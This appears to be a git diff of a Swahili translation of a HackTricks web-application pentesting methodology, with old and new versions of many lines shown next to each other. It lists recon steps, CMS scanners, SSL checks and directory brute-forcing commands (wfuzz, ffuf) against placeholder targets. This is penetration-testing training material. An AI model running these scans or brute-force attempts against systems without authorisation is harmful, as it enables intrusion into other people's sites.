* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo yasiyohack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
## Taarifa Msingi
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na kuna **aina nyingi za udhaifu**.
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na kuna **aina nyingi tofauti za udhaifu**.
**Bandari ya chaguo:** 80 (HTTP), 443(HTTPS)
**Bandari ya chaguo-msingi:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -41,23 +41,23 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
[web-api-pentesting.md](web-api-pentesting.md)
{% endcontent-ref %}
## Muhtasari wa Mbinu
## Muhtasari wa Methodology
> Katika mbinu hii, tutadhani kuwa unakwenda kushambulia kikoa (au subdomain) na hiyo tu. Kwa hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP kilichogunduliwa na seva ya wavuti isiyoeleweka ndani ya wigo.
> Katika methodology hii tutadhani kuwa unakwenda kushambulia kikoa (au subdomain) na hiyo tu. Kwa hivyo, unapaswa kutumia methodology hii kwa kila kikoa kilichogunduliwa, subdomain au IP na seva ya wavuti isiyoeleweka ndani ya wigo.
* [ ] Anza kwa **kutambua** **teknolojia** inayotumiwa na seva ya wavuti. Tafuta **mbinu** za kuzingatia wakati wa mtihani mwingine ikiwa unaweza kutambua teknolojia hiyo kwa mafanikio.
* [ ] Kuna **mdhaifu wowote** anayejulikana wa toleo la teknolojia?
* [ ] Kutumia **teknolojia inayojulikana**? Kuna **mbinu muhimu** ya kutoa habari zaidi?
* [ ] Anza kwa **kuwatambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **mbinu** za kuzingatia wakati wa mtihani mwingine ikiwa unaweza kutambua teknolojia kwa mafanikio.
* [ ] Kuna **mdhaifu anayejulikana** wa toleo la teknolojia?
* [ ] Kutumia **teknolojia inayojulikana**? Mbinu yoyote **yenye manufaa** ya kutoa habari zaidi?
* [ ] Kuna **skana maalum** ya kukimbia (kama wpscan)?
* [ ] Anza na **skana za madhumuni ya jumla**. Huwezi kujua ikiwa zitapata kitu au ikiwa zitapata habari muhimu.
* [ ] Anza na **uchunguzi wa awali**: **robots**, **sitemaps**, **kosa la 404** na **uchunguzi wa SSL/TLS** (ikiwa ni HTTPS).
* [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda zote zinazowezekana na **paramita** zinazotumiwa. Pia, angalia **ugunduzi maalum**.
* [ ] Anzisha **skana za madhumuni ya jumla**. Huwezi kujua ikiwa watapata kitu au ikiwa watapata habari ya kuvutia.
* [ ] Anza na **uchunguzi wa awali**: **robots**, **sitema**, **kosa la 404** na **uchunguzi wa SSL/TLS** (ikiwa ni HTTPS).
* [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda **zote zinazowezekana** na **paramita zinazotumiwa**. Pia, angalia **ugunduzi maalum**.
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya nguvu ya brute au spidering, inapaswa kusindikizwa._
* [ ] **Uchunguzi wa Nguvu ya Brute kwa Saraka**: Jaribu kufanya nguvu ya brute kwa folda zote zilizogunduliwa kutafuta **faili** na **saraka** mpya.
* [ ] **Udhibiti wa Saraka za Brute-Forcing**: Jaribu kufanya nguvu ya brute kwenye folda zilizogunduliwa kutafuta **faili** na **saraka mpya**.
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya nguvu ya brute au spidering, inapaswa kufanyiwa Nguvu ya Brute._
* [ ] **Uchunguzi wa Nakala za Akiba**: Jaribu kutafuta **nakala za akiba** za **faili zilizogunduliwa** kwa kuongeza nyongeza za nakala za kawaida.
* [ ] **Nguvu ya Brute kwa Paramita**: Jaribu **kupata paramita zilizofichwa**.
* [ ] Mara tu unapokuwa umetambua **vielelezo vyote vinavyowezekana** vinavyokubali **matokeo ya mtumiaji**, hakikisha kuchunguza aina zote za **mdhaifu** zinazohusiana nayo.
* [ ] **Uchunguzi wa Nakala za Kuhifadhi**: Jaribu kutafuta **nakala za kuhifadhi** za **faili zilizogunduliwa** kwa kuongeza nyongeza za kawaida za nakala za kuhifadhi.
* [ ] **Nguvu ya Brute ya Paramita**: Jaribu **kupata paramita zilizofichwa**.
* [ ] Mara tu unapokuwa umetambua **vielelezo vyote vinavyowezekana** vinavyokubali **matokeo ya mtumiaji**, hakikisha kwa aina zote za **mdhaifu** zinazohusiana nayo.
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology/)
## Toleo la Seva (Lenye Udhaifu?)
@ -116,19 +116,19 @@ Baadhi ya **mbinu** za kutafuta **mapungufu** katika teknolojia tofauti maarufu
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS hadi RCE)**](electron-desktop-apps/)
_Chukua kuzingatia kwamba **kikoa kimoja** kinaweza kutumia **teknolojia tofauti** kwenye **bandari** tofauti, **folda** na **subdomains** tofauti._\
_Chukua kuzingatia kwamba **kikoa kimoja** kinaweza kutumia **teknolojia tofauti** kwenye **bandari** tofauti, **folda** na **subdomains**._\
Ikiwa programu ya wavuti inatumia **tech/platform inayojulikana hapo awali** au **nyingine yoyote**, usisahau **kutafuta kwenye Mtandao** mbinu mpya (na niambie!).
### Mapitio ya Msimbo wa Chanzo
### Ukaguzi wa Msimbo wa Chanzo
Ikiwa **msimbo wa chanzo** wa programu unapatikana kwenye **github**, mbali na kufanya **jaribio la White box test** la programu kwa **yako mwenyewe**, kuna **habari fulani** ambayo inaweza kuwa **ya manufaa** kwa **jaribio la Black-Box** la sasa:
* Je! Kuna **Faili ya Mabadiliko au Soma au Toleo** au chochote chenye **habari ya toleo inayopatikana** kupitia wavuti?
* Vipi na wapi **vitambulisho** vinahifadhiwa? Je! Kuna (inayopatikana?) **faili** na vitambulisho (majina ya watumiaji au nywila)?
* Je! Kuna **Faili ya Mabadiliko au Soma au Toleo** lolote au chochote chenye **habari ya toleo inayopatikana** kupitia wavuti?
* Vipi na wapi **vyeti** vinahifadhiwa? Je! Kuna (inayopatikana?) **faili** na vyeti (majina ya watumiaji au nywila)?
* Je! **Nywila** ziko **kwenye maandishi wazi**, **zimefichwa** au ni **algoritimu ya hashing** ipi inayotumiwa?
* Inatumia **ufunguo wa msingi** wowote kwa kufichua kitu? Algoritimu ipi inayotumiwa?
* Je! Unaweza **kupata ufikiaji wa faili hizi** kwa kutumia kasoro fulani?
* Je! Kuna **habari ya kuvutia kwenye github** (zilizotatuliwa na zisizotatuliwa) **masuala**? Au katika **historia ya kujitolea** (labda **nywila iliyoingizwa ndani ya kujitolea cha zamani**)?
* Je! Inatumia **ufunguo wa msingi** wowote kwa kufichua kitu? Algoritimu ipi inayotumiwa?
* Je! Unaweza **kupata ufikiaji wa faili hizi** kwa kutumia mapungufu fulani?
* Je! Kuna **habari ya kuvutia kwenye github** (zilizotatuliwa na zisizotatuliwa) **masuala**? Au katika **historia ya kujitolea** (labda **nywila iliyoingizwa ndani ya kujitolea la zamani**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Ikiwa CMS inatumika usisahau **kuendesha skanari**, labda kitu cha kuvutia kitapatikana:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): Tovuti za [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** kwa masuala ya usalama. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** tovuti kwa masuala ya usalama. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **au** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -163,11 +163,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Kufikia wakati huu unapaswa tayari kuwa na baadhi ya taarifa kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu kadhaa za kuzingatia wakati wa jaribio. Ikiwa una bahati, huenda umepata hata mfumo wa usimamizi wa yaliyomo (CMS) na kukimbia baadhi ya zana za uchunguzi.
> Kufikia wakati huu unapaswa tayari kuwa na baadhi ya taarifa kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu kadhaa za kuzingatia wakati wa jaribio. Ikiwa una bahati, labda umepata hata mfumo wa usimamizi wa yaliyomo (CMS) na kukimbia baadhi ya zana za uchunguzi.
## Hatua kwa Hatua Ugunduzi wa Maombi ya Wavuti
> Kutoka wakati huu tunaanza kuingiliana na maombi ya wavuti.
> Kutoka hatua hii tutaanza kuingiliana na maombi ya wavuti.
### Uchunguzi wa Awali
@ -182,7 +182,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Kulazimisha makosa**
Seva za wavuti zinaweza **kutenda kwa njia isiyotarajiwa** wakati data isiyoeleweka inatumwa kwao. Hii inaweza kufunua **mapungufu** au **kufichua taarifa nyeti**.
Seva za wavuti zinaweza **kutenda kwa njia isiyotarajiwa** wakati data ya ajabu inatumwa kwao. Hii inaweza kufunua **mapungufu** au **kufichua taarifa nyeti**.
* Fikia **kurasa bandia** kama /whatever\_fake.php (.aspx,.html,.n.k)
* Ongeza "\[]", "]]", na "\[\[" kwenye thamani za **vidakuzi** na thamani za **parameta** ili kusababisha makosa
@ -191,15 +191,15 @@ Seva za wavuti zinaweza **kutenda kwa njia isiyotarajiwa** wakati data isiyoelew
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Ikiwa unagundua kuwa **WebDav** ime **wezeshwa** lakini huna idhini ya kutosha ya **kupakia faili** kwenye saraka ya msingi, jaribu:
Ikiwa unagundua kuwa **WebDav** imewezeshwa lakini huna idhini ya kutosha ya **kupakia faili** kwenye saraka ya msingi, jaribu:
* **Kuvunja Nguvu** siri
* **Pakia faili** kupitia WebDav kwenye **mabano mengine** yaliyopatikana ndani ya ukurasa wa wavuti. Unaweza kuwa na idhini ya kupakia faili kwenye mabano mengine.
### **Mapungufu ya SSL/TLS**
* Ikiwa maombi hayalazimishi matumizi ya HTTPS kwa mtumiaji katika sehemu yoyote, basi ni **dhaifu kwa MitM**
* Ikiwa maombi yanatuma data nyeti (nywila) kwa kutumia HTTP. Basii ni mapungufu makubwa.
* Ikiwa maombi **hayalazimishi matumizi ya HTTPS** kwa sehemu yoyote, basi ni **dhaifu kwa MitM**
* Ikiwa maombi yanatuma data nyeti (nywila) kwa kutumia HTTP. Basi ni mapungufu makubwa.
Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kuchunguza **mapungufu** (Katika programu za Bug Bounty labda mapungufu kama haya hayatakubalika) na tumia [**a2sv** ](https://github.com/hahwul/a2sv) kuchunguza upya mapungufu:
```bash
@ -217,56 +217,56 @@ Maelezo kuhusu Udhaifu wa SSL/TLS:
### Kupata njia
Zindua aina fulani ya **buibui** ndani ya wavuti. Lengo la buibui ni **kupata njia nyingi iwezekanavyo** kutoka kwenye programu iliyopimwa. Kwa hivyo, utambaa wa wavuti na vyanzo vya nje vinapaswa kutumika kupata njia halali kadri iwezekanavyo.
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi iwezekanavyo** kutoka kwenye programu iliyopimwa. Kwa hivyo, utaftaji wa wavuti na vyanzo vya nje vinapaswa kutumika kupata njia halali kadri iwezekanavyo.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Buibui wa HTML, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Buibui wa HML, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Buibui wa HTML, pia inaonyesha "faili zenye thamani".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Buibui wa HTML ya CLI ya kuingiliana. Pia hufanya utafutaji kwenye Archive.org
* [**meg**](https://github.com/tomnomnom/meg) (go): Zana hii sio buibui lakini inaweza kuwa na manufaa. Unaweza tu kuonyesha faili na wenyeji na faili na njia na meg itapata kila njia kwa kila mwenyeji na kuhifadhi jibu.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Buibui wa HTML na uwezo wa kurendera JS. Walakini, inaonekana haijatunzwa, toleo lililopangwa mapema ni la zamani na nambari ya sasa haijatengenezwa
* [**gau**](https://github.com/lc/gau) (go): Buibui wa HTML ambao hutumia watoa huduma wa nje (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripti hii itapata URL na parameta na kuziorodhesha.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Buibui wa HTML na uwezo wa kurendera JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Buibui wa HTML, na uwezo wa urembo wa JS unaweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na thamani pia kutazama [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni kifuniko cha LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutoa miisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaa kwa wawindaji wa mdudu, timu nyekundu, na maharamia wa habari.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider ya HTML, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider ya HML, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider ya HTML, pia inaonyesha "faili zenye thamani".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider ya HTML ya CLI ya kuingiliana. Pia hufanya utafutaji kwenye Archive.org
* [**meg**](https://github.com/tomnomnom/meg) (go): Zana hii sio spider lakini inaweza kuwa na manufaa. Unaweza tu kuonyesha faili na wenyeji na faili na njia na meg itapata kila njia kwa kila mwenyeji na kuhifadhi jibu.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider ya HTML na uwezo wa kurendera JS. Walakini, inaonekana haijatunzwa, toleo lililopangwa mapema ni la zamani na msimbo wa sasa haukamiliki
* [**gau**](https://github.com/lc/gau) (go): Spider ya HTML inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripti hii itapata URL na vigezo na kuviorodhesha.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider ya HTML na uwezo wa kurendera JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider ya HTML, na uwezo wa urembo wa JS unao uwezo wa kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kutazama [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni kifuniko cha LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutoa miisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaa kwa wawindaji wa mdudu, timu nyekundu, na mashujaa wa usalama wa habari.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 ikitumia Tornado na JSBeautifier kutafsiri URL za kihusika kutoka kwenye faili za JavaScript. Inafaa kwa kugundua kwa urahisi maombi ya AJAX. Inaonekana haijatunzwa.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Ikiwa unapewa faili (HTML) itaondoa URL kutoka kwake kwa kutumia mbinu ya kawaida ya kutafuta na kutoa URL za kihusika kutoka kwa faili zenye urembo (minify).
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari muhimu kutoka kwa faili za JS kwa kutumia zana kadhaa.
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Ikiwa imepewa faili (HTML) itaondoa URL kutoka kwake kwa kutumia mbinu ya kawaida ya kutafuta na kutoa URL za kihusika kutoka kwenye faili zenye urembo (minify).
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari muhimu kutoka kwenye faili za JS kwa kutumia zana kadhaa.
* [**subjs**](https://github.com/lc/subjs) (go): Kupata faili za JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari bila kichwa na chapisha URL zote zilizopakiwa kwenye ukurasa.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Zana ya ugunduzi wa maudhui ikichanganya chaguo kadhaa za zana za awali
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kifuniko cha Burp cha kupata njia na parameta katika faili za JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Zana ambayo ikipewa URL ya .js.map itapata nambari ya JS iliyopambwa
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni zana inayotumiwa kugundua miisho kwa lengo lililopewa.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gudua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Tafuta (hata kwa kujaza fomu) na pia gundua habari nyeti kwa kutumia regex maalum.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni Buibui ya hali ya juu yenye GUI nyingi iliyoundwa kwa wataalamu wa usalama wa wavuti.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [zana ya mstari wa amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) ya kutoa URL, njia, siri, na data nyingine ya kuvutia kutoka kwa nambari ya chanzo cha JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kifuniko rahisi cha **Burp Suite** cha **kutoa parameta na miisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kufanya fujo na uchunguzi.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kifuniko cha Burp cha kutafuta njia na vigezo katika faili za JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Zana ambayo ikipewa URL ya .js.map itapata msimbo wa JS uliopambwa
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni zana inayotumika kugundua miisho kwa lengo lililopewa.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Kugundua viungo kutoka kwenye mashine ya wayback (pia kupakua majibu kwenye wayback na kutafuta viungo zaidi
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kutafuta (hata kwa kujaza fomu) na pia kupata habari nyeti kwa kutumia regexes maalum.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni Crawler/Spider ya GUI yenye vipengele vingi vya usalama wa wavuti iliyoundwa kwa wataalamu wa usalama wa mtandao.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [zana ya mstari wa amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) ya kutoa URLs, njia, siri, na data nyingine ya kuvutia kutoka kwenye msimbo wa chanzo wa JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kifuniko rahisi cha **Burp Suite** cha **kutoa vigezo na miisho** kutoka kwa ombi ili kuunda orodha ya maneno ya desturi kwa ajili ya kutafuta na uchambuzi.
### Kuforce ya moja kwa moja kwenye saraka na faili
### Kufanya nguvu kwa nguvu directories na faili
Anza **kufanya fujo** kutoka kwenye saraka ya msingi na hakikisha kufanya fujo **kwenye** **saraka zote zilizopatikana** kwa kutumia **njia hii** na saraka zote **zilizogunduliwa** na **Kupata njia** (unaweza kufanya fujo hii **kwa njia ya mzunguko** na kuongeza mwanzoni mwa orodha ya maneno iliyotumiwa majina ya saraka zilizopatikana).\
Anza **kufanya nguvu** kutoka kwenye folda ya msingi na hakikisha kufanya nguvu **zote** za **directories zilizopatikana** kwa kutumia **njia hii** na directories zote **zilizogunduliwa** na **Kupata njia** (unaweza kufanya hii ya kufanya nguvu **kwa njia ya mfululizo** na kuongeza mwanzoni mwa orodha ya maneno iliyotumiwa majina ya directories yaliyopatikana).\
Zana:
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyosainiwa kiotomatiki na utaftaji wa mzunguko. Polepole sana ikilinganishwa na chaguo zingine.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Hauruhusu vyeti vilivyosainiwa kiotomatiki lakini** inaruhusu utaftaji wa mzunguko.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyosainiwa kiotomatiki, **haina** utaftaji wa **mzunguko**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utaftaji wa mzunguko.**
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyosainiwa kiotomatiki na utaftaji wa mfululizo. Polepole sana ikilinganishwa na chaguo zingine.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Hauruhusu vyeti vilivyosainiwa kiotomatiki lakini** inaruhusu utaftaji wa mfululizo.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyosainiwa kiotomatiki, **haina** utaftaji wa **mfululizo**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utaftaji wa mfululizo.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Hii sio buibui lakini zana ambayo ikipewa orodha ya URL zilizopatikana itafuta URL "zilizodondolewa".
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kifuniko cha Burp cha kuunda orodha ya saraka kutoka kwa historia ya burp ya kurasa tofauti
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URL zenye kazi zilizodondolewa (kulingana na uingizaji wa js)
* [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zilizotumiwa na kuchagua orodha za maneno za kutumia.
* [**uro**](https://github.com/s0md3v/uro) (python): Hii sio spider lakini zana ambayo ikipewa orodha ya URL zilizopatikana itafuta URL "zilizodurufishwa".
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kifuniko cha Burp cha kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URL zenye kazi zilizodurufishwa (kulingana na uingizaji wa js)
* [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kutambua teknolojia zilizotumiwa na kuchagua orodha za maneno za kutumia.
**Maneno ya kupendekezwa:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** orodha ya maneno iliyomo](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Orodha za maneno za Assetnote](https://wordlists.assetnote.io)
* [Assetnote orodha za maneno](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -279,40 +279,40 @@ Zana:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Note kwamba wakati wowote directory mpya inagunduliwa wakati wa brute-forcing au spidering, inapaswa kufanyiwa Brute-Force._
_Tafadhali kumbuka kwamba wakati wowote directory mpya inagunduliwa wakati wa brute-forcing au spidering, inapaswa kufanyiwa Brute-Force._
### Mambo ya kuangalia kwenye kila faili inayopatikana
* [**Mchunguzi wa viungo vilivunjika**](https://github.com/stevenvachon/broken-link-checker): Tafuta viungo vilivunjika ndani ya HTML ambavyo vinaweza kuwa rahisi kuchukuliwa
